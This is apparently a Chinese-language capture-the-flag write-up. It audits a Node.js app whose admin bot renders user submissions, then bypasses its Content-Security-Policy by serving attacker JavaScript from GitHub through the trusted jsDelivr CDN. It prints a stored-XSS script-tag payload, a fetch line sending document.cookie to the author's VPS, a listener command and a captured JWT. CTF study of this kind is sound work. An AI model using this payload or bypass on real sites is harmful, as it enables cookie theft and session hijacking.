题目中有附件,进行代码审计。
/routes/index.js
中有三个 api 路由:
/api/submit
:接收用户提交的数据并存入 db 中;/admin
:验证 admin 身份通过后,查询 db 中的数据;/admin/delete
:验证 admin 身份通过后,删除 db 中的数据;
router.post('/api/submit', (req, res) => {
const { name, phone, career_type, sex } = req.body;
if (name && phone && career_type && sex) {
return db.add_info(name, phone, career_type, sex)
.then(() => {
res.send(response('你的信息将会被管理员审查'));
bot.visit();
})
.catch(() => res.send(response('服务器内部错误')));
}
return res.status(401).send(response('请检查填写内容'));
});
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('未授权'));
}
return db.get_info()
.then((data) => {
res.render('admin.html', { info_list: data });
});
});
router.get('/admin/delete', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('未授权'));
}
return db.del_info()
.then(() => res.send(response('所有信息已删除')));
})
注意到在 /api/submit
路由下,添加完数据之后,调用了 bot.visit();
,跟进到 bot.js
可以知道,这里是起了一个无头浏览器去访问 /admin.html
,用户提交的数据会在这里进行加载展示,这里会将 flag 写入 cookie 中。
所以解题思路如下:构造 XSS ,使得 bot 在浏览用户数据时触发恶意代码,将 cookie 值盗取,即可获得 flag。
注意到在 index.js
中,对加载的 js 来源进行了限制:
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
为了能让恶意 js 代码能够被执行,这里还需要进行 CSP 注入。
可以使用 csp-evaluator 来分析 CSP 存在哪些缺陷:
因为 cdn.jsdelivr.net 是程序信任的域,存在一种方式,可以让 cdn.jsdelivr.net 使用特定 GitHub 仓库的代码,所以可以通过在 GitHub 上创建一个恶意 Js 代码,然后让 cdn.jsdelivr.net 使用它,再在程序中加载 cdn.jsdelivr.net 所使用的恶意代码,就实现了攻击的目的。
cdn.jsdelivr.net 使用 GitHub 代码的方式如下:
https://cdn.jsdelivr.net/gh/user/repo@version/file
其中,version 是 commit 的 id 值。
找一台 VPS ,起一个 http 服务,用于接收数据:
python3 -m http.server 9999
在 GitHub 创建一个仓库,写入恶意 js 代码:
fetch('http://sy.yvling.cn:9999?cookie=' + document.cookie);
commit id 为:2af9fa3a9577eb62de356446bd42716ccf096410
所以 payload 为:
<script src="https://cdn.jsdelivr.net/gh/yvl1ng/XSS@2af9fa3a9577eb62de356446bd42716ccf096410/get_cookies.js"></script>
提交之后,监听的 VPS 上即可收到结果:
得到的 jwt ,在 jwt.io 解码即可:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiZmxhZ3t0aGlzX2lzX2FfdGVzdF9mbGFnfVxuIiwiaWF0IjoxNzMwMjgxOTg4fQ.0h8upUoZvqB_6jvFTxB341AXn0_GJp2fVnF4691uNvY